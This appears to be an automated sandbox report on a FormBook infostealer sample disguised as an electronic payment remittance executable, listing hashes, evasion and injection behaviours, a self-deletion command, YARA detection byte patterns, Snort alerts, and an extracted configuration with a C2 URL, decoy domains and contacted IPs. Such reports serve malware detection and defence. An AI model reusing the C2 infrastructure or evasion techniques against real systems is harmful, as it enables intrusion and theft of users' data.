Play interactive tour

Edit tour

Windows Analysis Report Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Overview

General Information

Sample Name:	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Analysis ID:	483527
MD5:	e29285288905ebb27d9e4443bcaa6638
SHA1:	3c656f9257b7630e47f57d1326bceafb7481ab29
SHA256:	7027a232f8327a532a1b37586cd42ea73ea0b9c37b1b22334484888f0b13b6b6
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Initial sample is a PE file and has a suspicious name

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Self deletion via cmd delete

.NET source code contains potential unpacker

Queues an APC in another process (thread injection)

.NET source code contains very large strings

Tries to detect virtualization through RDTSC time measurements

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Creates processes with suspicious names

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Contains functionality to read the PEB

Checks if the current process is being debugged

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe (PID: 3176 cmdline: 'C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe' MD5: E29285288905EBB27D9E4443BCAA6638)

Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe (PID: 4180 cmdline: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe MD5: E29285288905EBB27D9E4443BCAA6638)

explorer.exe (PID: 3388 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

autoconv.exe (PID: 1392 cmdline: C:\Windows\SysWOW64\autoconv.exe MD5: 4506BE56787EDCD771A351C10B5AE3B7)

raserver.exe (PID: 3652 cmdline: C:\Windows\SysWOW64\raserver.exe MD5: 2AADF65E395BFBD0D9B71D7279C8B5EC)

cmd.exe (PID: 912 cmdline: /c del 'C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.fasilitatortoefl.com/uytf/"], "decoy": ["estherestates.online", "babyballetwigan.com", "ignorantrough.xyz", "moominmamalog.com", "pasticcerialemmi.com", "orangstyle.com", "oldwaterfordfarm.com", "aiiqiuwnsas.com", "youindependents.com", "runbank.net", "phytolipshine.com", "almedmedicalcenter.com", "czxzsa.com", "yummyblockparty.com", "gadgetinfo.info", "cloudfolderplayer.com", "chowding.com", "xn--tarzmbu-ufb.com", "danielaasab.com", "dreampropertiesluxury.com", "itsready.support", "freepoeople.com", "richesosity.online", "covidbrainfogsyndrome.com", "hide.osaka", "fitotec.net", "cdfdwj.com", "vjr.realestate", "knowit.today", "sellhomefastinorlando.com", "permacademy.net", "andhraadvocates.com", "rochainrevsry.xyz", "casino-virtuali.net", "liptondesignstudio.xyz", "keyinternationals.com", "gamifibase.com", "atjehtimur.com", "hobonickelsvillarrubia.com", "johnharrisagent.com", "preabsorb.xyz", "likevietsub38.com", "getrichandsavetheworld.com", "livelife2dance.com", "juesparza.com", "buffalocreekdesign.com", "diegos.xyz", "covidforensicaudit.com", "popitperu.com", "gczvahqeg.site", "aspireship.tech", "freedomforfarmedrabbits.online", "pasalsacongress.com", "custommetalimagery.photography", "managementcoachinginc.com", "hxysjkj.com", "trusticoin.biz", "wireconnectaz.tech", "yoiseikatsu.net", "slggroups.com", "curiousmug.com", "svetarielt.site", "nongormart.com", "btt5204.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x89a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa132:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ad9:$sqlite3step: 68 34 1C 7B E1 0x16bec:$sqlite3step: 68 34 1C 7B E1 0x16b08:$sqlite3text: 68 38 2A 90 C5 0x16c2d:$sqlite3text: 68 38 2A 90 C5 0x16b1b:$sqlite3blob: 68 53 D8 7F 8C 0x16c43:$sqlite3blob: 68 53 D8 7F 8C
00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x89a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa132:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ad9:$sqlite3step: 68 34 1C 7B E1 0x16bec:$sqlite3step: 68 34 1C 7B E1 0x16b08:$sqlite3text: 68 38 2A 90 C5 0x16c2d:$sqlite3text: 68 38 2A 90 C5 0x16b1b:$sqlite3blob: 68 53 D8 7F 8C 0x16c43:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x89a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa132:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ad9:$sqlite3step: 68 34 1C 7B E1 0x16bec:$sqlite3step: 68 34 1C 7B E1 0x16b08:$sqlite3text: 68 38 2A 90 C5 0x16c2d:$sqlite3text: 68 38 2A 90 C5 0x16b1b:$sqlite3blob: 68 53 D8 7F 8C 0x16c43:$sqlite3blob: 68 53 D8 7F 8C
00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x89a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa132:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ad9:$sqlite3step: 68 34 1C 7B E1 0x16bec:$sqlite3step: 68 34 1C 7B E1 0x16b08:$sqlite3text: 68 38 2A 90 C5 0x16c2d:$sqlite3text: 68 38 2A 90 C5 0x16b1b:$sqlite3blob: 68 53 D8 7F 8C 0x16c43:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xabb78:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xabf12:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xd3b98:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xd3f32:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xb7c25:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xdfc45:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xb7711:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xdf731:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xb7d27:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xdfd47:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xb7e9f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xdfebf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xac92a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xd494a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xb698c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xde9ac:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xad6a2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xd56c2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xbd117:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xe5137:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xbe1ba:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xba049:$sqlite3step: 68 34 1C 7B E1 0xba15c:$sqlite3step: 68 34 1C 7B E1 0xe2069:$sqlite3step: 68 34 1C 7B E1 0xe217c:$sqlite3step: 68 34 1C 7B E1 0xba078:$sqlite3text: 68 38 2A 90 C5 0xba19d:$sqlite3text: 68 38 2A 90 C5 0xe2098:$sqlite3text: 68 38 2A 90 C5 0xe21bd:$sqlite3text: 68 38 2A 90 C5 0xba08b:$sqlite3blob: 68 53 D8 7F 8C 0xba1b3:$sqlite3blob: 68 53 D8 7F 8C 0xe20ab:$sqlite3blob: 68 53 D8 7F 8C 0xe21d3:$sqlite3blob: 68 53 D8 7F 8C
00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x89a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa132:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ad9:$sqlite3step: 68 34 1C 7B E1 0x16bec:$sqlite3step: 68 34 1C 7B E1 0x16b08:$sqlite3text: 68 38 2A 90 C5 0x16c2d:$sqlite3text: 68 38 2A 90 C5 0x16b1b:$sqlite3blob: 68 53 D8 7F 8C 0x16c43:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x46b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x41a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x47b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x6ad9:$sqlite3step: 68 34 1C 7B E1 0x6bec:$sqlite3step: 68 34 1C 7B E1 0x6b08:$sqlite3text: 68 38 2A 90 C5 0x6c2d:$sqlite3text: 68 38 2A 90 C5 0x6b1b:$sqlite3blob: 68 53 D8 7F 8C 0x6c43:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x46b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x41a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x47b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x6ad9:$sqlite3step: 68 34 1C 7B E1 0x6bec:$sqlite3step: 68 34 1C 7B E1 0x6b08:$sqlite3text: 68 38 2A 90 C5 0x6c2d:$sqlite3text: 68 38 2A 90 C5 0x6b1b:$sqlite3blob: 68 53 D8 7F 8C 0x6c43:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x89a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa132:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ad9:$sqlite3step: 68 34 1C 7B E1 0x16bec:$sqlite3step: 68 34 1C 7B E1 0x16b08:$sqlite3text: 68 38 2A 90 C5 0x16c2d:$sqlite3text: 68 38 2A 90 C5 0x16b1b:$sqlite3blob: 68 53 D8 7F 8C 0x16c43:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe PID: 3176	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x89a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa132:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ad9:$sqlite3step: 68 34 1C 7B E1 0x16bec:$sqlite3step: 68 34 1C 7B E1 0x16b08:$sqlite3text: 68 38 2A 90 C5 0x16c2d:$sqlite3text: 68 38 2A 90 C5 0x16b1b:$sqlite3blob: 68 53 D8 7F 8C 0x16c43:$sqlite3blob: 68 53 D8 7F 8C
5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7808:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7ba2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x138b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x133a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x139b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x85ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1261c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9332:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18da7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19e4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15cd9:$sqlite3step: 68 34 1C 7B E1 0x15dec:$sqlite3step: 68 34 1C 7B E1 0x15d08:$sqlite3text: 68 38 2A 90 C5 0x15e2d:$sqlite3text: 68 38 2A 90 C5 0x15d1b:$sqlite3blob: 68 53 D8 7F 8C 0x15e43:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.fasilitatortoefl.com/uytf/"], "decoy": ["estherestates.online", "babyballetwigan.com", "ignorantrough.xyz", "moominmamalog.com", "pasticcerialemmi.com", "orangstyle.com", "oldwaterfordfarm.com", "aiiqiuwnsas.com", "youindependents.com", "runbank.net", "phytolipshine.com", "almedmedicalcenter.com", "czxzsa.com", "yummyblockparty.com", "gadgetinfo.info", "cloudfolderplayer.com", "chowding.com", "xn--tarzmbu-ufb.com", "danielaasab.com", "dreampropertiesluxury.com", "itsready.support", "freepoeople.com", "richesosity.online", "covidbrainfogsyndrome.com", "hide.osaka", "fitotec.net", "cdfdwj.com", "vjr.realestate", "knowit.today", "sellhomefastinorlando.com", "permacademy.net", "andhraadvocates.com", "rochainrevsry.xyz", "casino-virtuali.net", "liptondesignstudio.xyz", "keyinternationals.com", "gamifibase.com", "atjehtimur.com", "hobonickelsvillarrubia.com", "johnharrisagent.com", "preabsorb.xyz", "likevietsub38.com", "getrichandsavetheworld.com", "livelife2dance.com", "juesparza.com", "buffalocreekdesign.com", "diegos.xyz", "covidforensicaudit.com", "popitperu.com", "gczvahqeg.site", "aspireship.tech", "freedomforfarmedrabbits.online", "pasalsacongress.com", "custommetalimagery.photography", "managementcoachinginc.com", "hxysjkj.com", "trusticoin.biz", "wireconnectaz.tech", "yoiseikatsu.net", "slggroups.com", "curiousmug.com", "svetarielt.site", "nongormart.com", "btt5204.com"]}

Multi AV Scanner detection for submitted file

Show sources

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Virustotal: Detection: 28%			Perma Link
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	ReversingLabs: Detection: 57%

Yara detected FormBook

Show sources

Source: Yara match	File source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Machine Learning detection for sample

Show sources

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Joe Sandbox ML: detected

Source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000005.00000002.302407881.0000000001390000.00000040.00000001.sdmp, raserver.exe, 00000013.00000002.477861762.000000000484F000.00000040.00000001.sdmp
Source:	Binary string: RAServer.pdb source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000005.00000002.301852623.0000000000F59000.00000004.00000020.sdmp
Source:	Binary string: wntdll.pdb source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000005.00000002.302407881.0000000001390000.00000040.00000001.sdmp, raserver.exe
Source:	Binary string: RAServer.pdbGCTL source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000005.00000002.301852623.0000000000F59000.00000004.00000020.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\Client\Temp\HJmNUXoTNN\src\obj\Debug\SerializationHeaderReco.pdb source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 4x nop then pop ebx
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4x nop then pop ebx

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49784 -> 198.54.117.211:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49784 -> 198.54.117.211:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49784 -> 198.54.117.211:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.yummyblockparty.com
Source: C:\Windows\explorer.exe	Domain query: www.fitotec.net
Source: C:\Windows\explorer.exe	Domain query: www.johnharrisagent.com
Source: C:\Windows\explorer.exe	Domain query: www.btt5204.com
Source: C:\Windows\explorer.exe	Network Connect: 52.71.133.130 80
Source: C:\Windows\explorer.exe	Domain query: www.hide.osaka
Source: C:\Windows\explorer.exe	Network Connect: 198.54.117.211 80
Source: C:\Windows\explorer.exe	Network Connect: 103.15.104.66 80
Source: C:\Windows\explorer.exe	Network Connect: 198.54.117.215 80
Source: C:\Windows\explorer.exe	Domain query: www.itsready.support

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.fasilitatortoefl.com/uytf/

Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
